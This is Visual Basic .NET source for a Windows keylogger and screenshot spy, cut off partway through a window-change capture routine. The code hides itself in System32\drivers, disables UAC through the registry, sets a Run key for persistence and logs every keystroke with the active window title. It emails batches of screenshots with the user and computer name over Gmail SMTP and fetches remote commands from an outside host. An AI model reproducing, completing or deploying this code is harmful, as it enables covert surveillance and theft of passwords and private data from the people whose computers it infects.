Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32


Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short
    Private Declare Function GetActiveWindow Lib "user32" () As Long
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
    Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
    Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
    Private Const VK_SNAPSHOT As Short = &H2CS
    Dim strin As String = Nothing
    Dim Log As String

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        On Error Resume Next
        Timer17.Start()
        Timer18.Start()
        If System.IO.Directory.Exists("C:\Windows\System32\drivers\wender") Then
        Else
            My.Computer.FileSystem.CreateDirectory("C:\Windows\System32\drivers\wender")
        End If
        If System.IO.File.Exists("C:\appin\shrwm.exe") Then
            Dim _proceses As Process()
            _proceses = Process.GetProcessesByName("shrwm")
            For Each proces As Process In _proceses
                proces.Kill()
            Next
            My.Computer.FileSystem.DeleteFile("C:\appin\shrwm.exe")
        End If
        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\jkp.txt") Then
            Dim read As New System.IO.StreamReader("C:\Windows\System32\drivers\wender\jkp.txt")
            TextBox1.Text = read.ReadLine
            read.Close()
            My.Computer.FileSystem.DeleteFile("C:\Windows\System32\drivers\wender\jkp.txt")
            Timer13.Start()
        End If
        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\rkp.txt") Then
            Dim read As New System.IO.StreamReader("C:\Windows\System32\drivers\wender\rkp.txt")
            TextBox2.Text = read.ReadLine
            read.Close()
            My.Computer.FileSystem.DeleteFile("C:\Windows\System32\drivers\wender\rkp.txt")
            Timer16.Start()
        End If
        Dim dirinfo As IO.DirectoryInfo = New IO.DirectoryInfo("C:\Windows\System32\drivers\wender")
        dirinfo.Attributes = IO.FileAttributes.Hidden
        My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Windows\System32\drivers\wender\shrmw.exe")
        Dim Registryy As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine
        Dim Keyy As Microsoft.Win32.RegistryKey = Registryy.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
        Keyy.SetValue("EnableLUA", "0", Microsoft.Win32.RegistryValueKind.DWord)
        Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
        Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        Key.SetValue("shrmw", "C:\Windows\System32\drivers\wender\shrmw.exe", Microsoft.Win32.RegistryValueKind.String)
        Timer13.Enabled = True
        Timer1.Enabled = True
        If TextBox1.Text = ("unall") Then
        Else
            Timer2.Start()
        End If
        Timer15.Enabled = True
        Timer14.Enabled = True
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        On Error Resume Next
        Dim hWnd As IntPtr = GetForegroundWindow()
        If hWnd = IntPtr.Zero Then Exit Sub
        Dim TitleLength As Integer
        TitleLength = GetWindowTextLength(hWnd)
        Dim WindowTitle As String = StrDup(TitleLength + 1, "*")
        GetWindowText(hWnd, WindowTitle, TitleLength + 1)
        Dim pid As Integer = 0
        GetWindowThreadProcessId(hWnd, pid)
        If pid = 0 Then Exit Sub
        Dim proc As Process = Process.GetProcessById(pid)
        If proc Is Nothing Then Exit Sub
        Dim txtProcessID = pid.ToString
        Dim txtProcessName = proc.ProcessName
        Dim txtProcessTitle = proc.MainWindowTitle
        Dim txtCurrentWindowTitle = WindowTitle
        Dim txtTitleLength = TitleLength.ToString
        If (GetAsyncKeyState(107)) Then
            RichTextBox1.Text = RichTextBox1.Text + "+"

        ElseIf (GetAsyncKeyState(59)) Then
            RichTextBox1.Text = RichTextBox1.Text + ";"

        ElseIf (GetAsyncKeyState(95)) Then
            RichTextBox1.Text = RichTextBox1.Text + "_"

        ElseIf (GetAsyncKeyState(95)) Then
            RichTextBox1.Text = RichTextBox1.Text + "_"

        ElseIf (GetAsyncKeyState(59)) Then
            RichTextBox1.Text = RichTextBox1.Text + ";"

        ElseIf (GetAsyncKeyState(58)) Then
            RichTextBox1.Text = RichTextBox1.Text + ":"

        ElseIf (GetAsyncKeyState(47)) Then
            RichTextBox1.Text = RichTextBox1.Text + "/"

        ElseIf (GetAsyncKeyState(63)) Then
            RichTextBox1.Text = RichTextBox1.Text + "?"

        ElseIf (GetAsyncKeyState(64)) Then
            RichTextBox1.Text = RichTextBox1.Text + "@"

        ElseIf (GetAsyncKeyState(126)) Then
            RichTextBox1.Text = RichTextBox1.Text + "~"

        ElseIf (GetAsyncKeyState(35)) Then
            RichTextBox1.Text = RichTextBox1.Text + "#"

        ElseIf (GetAsyncKeyState(44)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[PrintScreen]"

        ElseIf (GetAsyncKeyState(60)) Then
            RichTextBox1.Text = RichTextBox1.Text + "<"

        ElseIf (GetAsyncKeyState(62)) Then
            RichTextBox1.Text = RichTextBox1.Text + ">"

        ElseIf (GetAsyncKeyState(124)) Then
            RichTextBox1.Text = RichTextBox1.Text + "|"

        ElseIf (GetAsyncKeyState(48)) Then
            RichTextBox1.Text = RichTextBox1.Text + "0"

        ElseIf (GetAsyncKeyState(49)) Then
            RichTextBox1.Text = RichTextBox1.Text + "1"

        ElseIf (GetAsyncKeyState(50)) Then
            RichTextBox1.Text = RichTextBox1.Text + "2"

        ElseIf (GetAsyncKeyState(51)) Then
            RichTextBox1.Text = RichTextBox1.Text + "3"

        ElseIf (GetAsyncKeyState(52)) Then
            RichTextBox1.Text = RichTextBox1.Text + "4"

        ElseIf (GetAsyncKeyState(53)) Then
            RichTextBox1.Text = RichTextBox1.Text + "5"

        ElseIf (GetAsyncKeyState(54)) Then
            RichTextBox1.Text = RichTextBox1.Text + "6"

        ElseIf (GetAsyncKeyState(55)) Then
            RichTextBox1.Text = RichTextBox1.Text + "7"

        ElseIf (GetAsyncKeyState(56)) Then
            RichTextBox1.Text = RichTextBox1.Text + "8"

        ElseIf (GetAsyncKeyState(57)) Then
            RichTextBox1.Text = RichTextBox1.Text + "9"

        ElseIf (GetAsyncKeyState(65)) Then
            RichTextBox1.Text = RichTextBox1.Text + "a"

        ElseIf (GetAsyncKeyState(66)) Then
            RichTextBox1.Text = RichTextBox1.Text + "b"

        ElseIf (GetAsyncKeyState(67)) Then
            RichTextBox1.Text = RichTextBox1.Text + "c"

        ElseIf (GetAsyncKeyState(68)) Then
            RichTextBox1.Text = RichTextBox1.Text + "d"

        ElseIf (GetAsyncKeyState(69)) Then
            RichTextBox1.Text = RichTextBox1.Text + "e"

        ElseIf (GetAsyncKeyState(70)) Then
            RichTextBox1.Text = RichTextBox1.Text + "f"

        ElseIf (GetAsyncKeyState(71)) Then
            RichTextBox1.Text = RichTextBox1.Text + "g"

        ElseIf (GetAsyncKeyState(72)) Then
            RichTextBox1.Text = RichTextBox1.Text + "h"

        ElseIf (GetAsyncKeyState(73)) Then
            RichTextBox1.Text = RichTextBox1.Text + "i"

        ElseIf (GetAsyncKeyState(74)) Then
            RichTextBox1.Text = RichTextBox1.Text + "j"

        ElseIf (GetAsyncKeyState(75)) Then
            RichTextBox1.Text = RichTextBox1.Text + "k"

        ElseIf (GetAsyncKeyState(76)) Then
            RichTextBox1.Text = RichTextBox1.Text + "l"

        ElseIf (GetAsyncKeyState(77)) Then
            RichTextBox1.Text = RichTextBox1.Text + "m"

        ElseIf (GetAsyncKeyState(78)) Then
            RichTextBox1.Text = RichTextBox1.Text + "n"

        ElseIf (GetAsyncKeyState(79)) Then
            RichTextBox1.Text = RichTextBox1.Text + "o"

        ElseIf (GetAsyncKeyState(80)) Then
            RichTextBox1.Text = RichTextBox1.Text + "p"

        ElseIf (GetAsyncKeyState(81)) Then
            RichTextBox1.Text = RichTextBox1.Text + "q"

        ElseIf (GetAsyncKeyState(82)) Then
            RichTextBox1.Text = RichTextBox1.Text + "r"

        ElseIf (GetAsyncKeyState(83)) Then
            RichTextBox1.Text = RichTextBox1.Text + "s"

        ElseIf (GetAsyncKeyState(84)) Then
            RichTextBox1.Text = RichTextBox1.Text + "t"

        ElseIf (GetAsyncKeyState(85)) Then
            RichTextBox1.Text = RichTextBox1.Text + "u"

        ElseIf (GetAsyncKeyState(86)) Then
            RichTextBox1.Text = RichTextBox1.Text + "v"

        ElseIf (GetAsyncKeyState(87)) Then
            RichTextBox1.Text = RichTextBox1.Text + "w"

        ElseIf (GetAsyncKeyState(88)) Then
            RichTextBox1.Text = RichTextBox1.Text + "x"

        ElseIf (GetAsyncKeyState(89)) Then
            RichTextBox1.Text = RichTextBox1.Text + "y"

        ElseIf (GetAsyncKeyState(90)) Then
            RichTextBox1.Text = RichTextBox1.Text + "z"

        ElseIf (GetAsyncKeyState(8)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Back]"

        ElseIf (GetAsyncKeyState(27)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Esc]"

        ElseIf (GetAsyncKeyState(35)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[End]"

        ElseIf (GetAsyncKeyState(33)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[PageUp]"

        ElseIf (GetAsyncKeyState(34)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Pagedown]"

        ElseIf (GetAsyncKeyState(36)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Home]"

        ElseIf (GetAsyncKeyState(37)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Left]"

        ElseIf (GetAsyncKeyState(38)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Up]"

        ElseIf (GetAsyncKeyState(39)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Right]"

        ElseIf (GetAsyncKeyState(40)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Down]"

        ElseIf (GetAsyncKeyState(45)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Ins]"

        ElseIf (GetAsyncKeyState(46)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Del]"

        ElseIf (GetAsyncKeyState(144)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[NumLock]"
        ElseIf (GetAsyncKeyState(145)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[ScrollLock]"

        ElseIf (GetAsyncKeyState(112)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F1]"

        ElseIf (GetAsyncKeyState(113)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F2]"

        ElseIf (GetAsyncKeyState(114)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F3]"

        ElseIf (GetAsyncKeyState(115)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F4]"

        ElseIf (GetAsyncKeyState(116)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F5]"

        ElseIf (GetAsyncKeyState(117)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F6]"

        ElseIf (GetAsyncKeyState(118)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F7]"

        ElseIf (GetAsyncKeyState(119)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F8]"

        ElseIf (GetAsyncKeyState(120)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F9]"

        ElseIf (GetAsyncKeyState(121)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F10]"

        ElseIf (GetAsyncKeyState(122)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F11]"

        ElseIf (GetAsyncKeyState(123)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[F12]"

        ElseIf (GetAsyncKeyState(16)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Shift]"

        ElseIf (GetAsyncKeyState(96)) Then
            RichTextBox1.Text = RichTextBox1.Text + "0"

        ElseIf (GetAsyncKeyState(97)) Then
            RichTextBox1.Text = RichTextBox1.Text + "1"

        ElseIf (GetAsyncKeyState(98)) Then
            RichTextBox1.Text = RichTextBox1.Text + "2"

        ElseIf (GetAsyncKeyState(99)) Then
            RichTextBox1.Text = RichTextBox1.Text + "3"

        ElseIf (GetAsyncKeyState(100)) Then
            RichTextBox1.Text = RichTextBox1.Text + "4"

        ElseIf (GetAsyncKeyState(101)) Then
            RichTextBox1.Text = RichTextBox1.Text + "5"

        ElseIf (GetAsyncKeyState(102)) Then
            RichTextBox1.Text = RichTextBox1.Text + "6"

        ElseIf (GetAsyncKeyState(103)) Then
            RichTextBox1.Text = RichTextBox1.Text + "7"

        ElseIf (GetAsyncKeyState(104)) Then
            RichTextBox1.Text = RichTextBox1.Text + "8"

        ElseIf (GetAsyncKeyState(105)) Then
            RichTextBox1.Text = RichTextBox1.Text + "9"

        ElseIf (GetAsyncKeyState(106)) Then
            RichTextBox1.Text = RichTextBox1.Text + "*"

        ElseIf (GetAsyncKeyState(108)) Then
            RichTextBox1.Text = RichTextBox1.Text + "" & vbCrLf
            RichTextBox1.Text = RichTextBox1.Text + "[" + txtProcessTitle + "]"
            RichTextBox1.Text = RichTextBox1.Text + "[Enter]"
        ElseIf (GetAsyncKeyState(32)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Space]"

        ElseIf (GetAsyncKeyState(109)) Then
            RichTextBox1.Text = RichTextBox1.Text + "-"


        ElseIf (GetAsyncKeyState(110)) Then
            RichTextBox1.Text = RichTextBox1.Text + "."
        ElseIf (GetAsyncKeyState(190)) Then
            RichTextBox1.Text = RichTextBox1.Text + "."
        ElseIf (GetAsyncKeyState(188)) Then
            RichTextBox1.Text = RichTextBox1.Text + ","

        ElseIf (GetAsyncKeyState(111)) Then
            RichTextBox1.Text = RichTextBox1.Text + "/"

        ElseIf (GetAsyncKeyState(44)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[PrintScreen]"

        ElseIf (GetAsyncKeyState(43)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Execute]"

        ElseIf (GetAsyncKeyState(43)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Snapshot]"

        ElseIf (GetAsyncKeyState(41)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Select]"

        ElseIf (GetAsyncKeyState(19)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Pause]"

        ElseIf (GetAsyncKeyState(20)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[CapsLock]"

        ElseIf (GetAsyncKeyState(17)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Ctrl]"

        ElseIf (GetAsyncKeyState(13)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[" + txtProcessTitle + "]"
            RichTextBox1.Text = RichTextBox1.Text + "" & vbCrLf
            RichTextBox1.Text = RichTextBox1.Text + "[Enter]"
        ElseIf (GetAsyncKeyState(9)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Tab]"

        ElseIf (GetAsyncKeyState(12)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Clear]"

        ElseIf (GetAsyncKeyState(3)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Cancel]"
        ElseIf (GetAsyncKeyState(192)) Then
            RichTextBox1.Text = RichTextBox1.Text + """"

        ElseIf (GetAsyncKeyState(221)) Then
            RichTextBox1.Text = RichTextBox1.Text + "ü"
        ElseIf (GetAsyncKeyState(121)) Then
            RichTextBox1.Text = RichTextBox1.Text + "Ü"

        ElseIf (GetAsyncKeyState(220)) Then
            RichTextBox1.Text = RichTextBox1.Text + "ç"

        ElseIf (GetAsyncKeyState(219)) Then
            RichTextBox1.Text = RichTextBox1.Text + "ğ"

        ElseIf (GetAsyncKeyState(191)) Then
            RichTextBox1.Text = RichTextBox1.Text + "ö"

        ElseIf (GetAsyncKeyState(186)) Then
            RichTextBox1.Text = RichTextBox1.Text + "ş"

        ElseIf (GetAsyncKeyState(222)) Then
            RichTextBox1.Text = RichTextBox1.Text + "i"

        ElseIf (GetAsyncKeyState(226)) Then
            RichTextBox1.Text = RichTextBox1.Text + "<"

        ElseIf (GetAsyncKeyState(164)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Alt]"
        ElseIf (GetAsyncKeyState(165)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[AltGr]"
        ElseIf (GetAsyncKeyState(91)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Win]"
        ElseIf (GetAsyncKeyState(1)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Mouse1]"
        ElseIf (GetAsyncKeyState(2)) Then
            RichTextBox1.Text = RichTextBox1.Text + "[Mouse2]"
        End If
    End Sub


    Private Function GetActiveWindowTitle() As String
        On Error Resume Next
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer3.Start()
        Timer2.Stop()

    End Sub

    Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test1.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer4.Start()
        Timer3.Stop()
    End Sub

    Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test2.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer5.Start()
        Timer4.Stop()
    End Sub

    Private Sub Timer5_Tick(sender As Object, e As EventArgs) Handles Timer5.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test3.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer6.Start()
        Timer5.Stop()
    End Sub

    Private Sub Timer6_Tick(sender As Object, e As EventArgs) Handles Timer6.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test4.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer7.Start()
        Timer6.Stop()
    End Sub

    Private Sub Timer7_Tick(sender As Object, e As EventArgs) Handles Timer7.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test5.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer8.Start()
        Timer7.Stop()
    End Sub

    Private Sub Timer8_Tick(sender As Object, e As EventArgs) Handles Timer8.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test6.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer9.Start()
        Timer8.Stop()
    End Sub

    Private Sub Timer9_Tick(sender As Object, e As EventArgs) Handles Timer9.Tick
        On Error Resume Next

        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test7.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer10.Start()
        Timer9.Stop()
    End Sub

    Private Sub Timer10_Tick(sender As Object, e As EventArgs) Handles Timer10.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test8.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer11.Start()
        Timer10.Stop()
    End Sub

    Private Sub Timer11_Tick(sender As Object, e As EventArgs) Handles Timer11.Tick
        On Error Resume Next
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
        Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
            End Using
            bmp.Save("C:\Windows\System32\drivers\wender\test9.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
        End Using
        Timer12.Start()
        Timer11.Stop()
    End Sub

    Private Sub Timer12_Tick(sender As Object, e As EventArgs) Handles Timer12.Tick
        On Error Resume Next
        Dim Usrname As String
        Dim MyMailMessage As New MailMessage
        Usrname = Environment.UserName.ToString
        Dim atch1 As New Attachment("C:\Windows\System32\drivers\wender\test.jpg")
        Dim atch2 As New Attachment("C:\Windows\System32\drivers\wender\test1.jpg")
        Dim atch3 As New Attachment("C:\Windows\System32\drivers\wender\test2.jpg")
        Dim atch4 As New Attachment("C:\Windows\System32\drivers\wender\test3.jpg")
        Dim atch5 As New Attachment("C:\Windows\System32\drivers\wender\test4.jpg")
        Dim atch6 As New Attachment("C:\Windows\System32\drivers\wender\test5.jpg")
        Dim atch7 As New Attachment("C:\Windows\System32\drivers\wender\test6.jpg")
        Dim atch8 As New Attachment("C:\Windows\System32\drivers\wender\test7.jpg")
        Dim atch9 As New Attachment("C:\Windows\System32\drivers\wender\test8.jpg")
        Dim atch10 As New Attachment("C:\Windows\System32\drivers\wender\test9.jpg")
        MyMailMessage.From = New MailAddress("example@gmail.com")
        MyMailMessage.To.Add("example@gmail.com")
        MyMailMessage.Subject = (DateTime.Now & " " & My.Computer.Name & " SCREENSHOT " & Usrname)
        MyMailMessage.Attachments.Add(atch1)
        MyMailMessage.Attachments.Add(atch2)
        MyMailMessage.Attachments.Add(atch3)
        MyMailMessage.Attachments.Add(atch4)
        MyMailMessage.Attachments.Add(atch5)
        MyMailMessage.Attachments.Add(atch6)
        MyMailMessage.Attachments.Add(atch7)
        MyMailMessage.Attachments.Add(atch8)
        MyMailMessage.Attachments.Add(atch9)
        MyMailMessage.Attachments.Add(atch10)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("example@gmail.com", "şifre123")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Timer12.Stop()
        If TextBox1.Text = ("unall") Then
        Else
            Timer2.Start()
        End If
    End Sub

    Private Sub Timer13_Tick(sender As Object, e As EventArgs) Handles Timer13.Tick
        On Error Resume Next
        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\jkp.txt") = True Then
            My.Computer.FileSystem.DeleteFile("C:\Windows\System32\drivers\wender\jkp.txt")
        End If
        My.Computer.Network.DownloadFile("http://ajantakip.tk/jkp.html", "C:\Windows\System32\drivers\wender\jkp.txt")
        Dim read As New System.IO.StreamReader("C:\Windows\System32\drivers\wender\jkp.txt")
        TextBox1.Text = read.ReadLine
        read.Close()
        If TextBox1.Text = ("unafk") Then
            Timer1.Stop()
            Timer2.Stop()
            Timer3.Stop()
            Timer4.Stop()
            Timer5.Stop()
            Timer6.Stop()
            Timer7.Stop()
            Timer8.Stop()
            Timer9.Stop()
            Timer10.Stop()
            Timer11.Stop()
            Timer12.Stop()
            Timer14.Stop()
            Timer15.Stop()
        End If
        If TextBox1.Text = ("resume") Then
            Timer1.Start()
            Timer2.Start()
            Timer14.Start()
            Timer15.Start()
        End If
        If TextBox1.Text = ("stopme") Then
            Me.Close()
        End If
        If TextBox1.Text = ("command") Or TextBox1.Text = ("message") Then
            Timer16.Start()
        Else
            Timer16.Stop()
        End If
    End Sub

    Private Sub Timer14_Tick(sender As Object, e As EventArgs) Handles Timer14.Tick
        On Error Resume Next
        If strin <> GetActiveWindowTitle() Then
            Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea
            Using bmp As New Bitmap(currentScreen.Width, currentScreen.Height)
                Using g = Graphics.FromImage(bmp)
                    g.CopyFromScreen(New Point(0, 0), New Point(0, 0), currentScreen.Size)
                End Using
                If TextBox1.Text = ("unall") Then
                Else
                    If TextBox1.Text = ("unwindow") Then
                    Else

                        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw.jpg") = True Then
                            If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw1.jpg") = True Then
                                If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw2.jpg") = True Then
                                    If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw3.jpg") = True Then
                                        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw4.jpg") = True Then
                                            If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw5.jpg") = True Then
                                                If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw6.jpg") = True Then
                                                    If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw7.jpg") = True Then
                                                        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw8.jpg") = True Then
                                                            If System.IO.File.Exists("C:\Windows\System32\drivers\wender\wndw9.jpg") = True Then
                                                                If System.IO.Directory.Exists("C:\Windows\System32\drivers\wender\wndws") Then
                                                                    My.Computer.FileSystem.DeleteDirectory("C:\Windows\System32\drivers\wender\wndws", FileIO.DeleteDirectoryOption.DeleteAllContents)
                                                                    My.Computer.FileSystem.CreateDirectory("C:\Windows\System32\drivers\wender\wndws")
                                                                Else
                                                                    My.Computer.FileSystem.CreateDirectory("C:\Windows\System32\drivers\wender\wndws")
                                                                End If
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw1.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw1.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw2.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw2.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw3.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw3.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw4.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw4.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw5.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw5.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw6.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw6.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw7.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw7.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw8.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw8.jpg")
                                                                My.Computer.FileSystem.MoveFile("C:\Windows\System32\drivers\wender\wndw9.jpg", "C:\Windows\System32\drivers\wender\wndws\wndw9.jpg")
                                                                Dim Usrname As String
                                                                Dim MyMailMessage As New MailMessage
                                                                Usrname = Environment.UserName.ToString
                                                                Dim atcs1 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw.jpg")
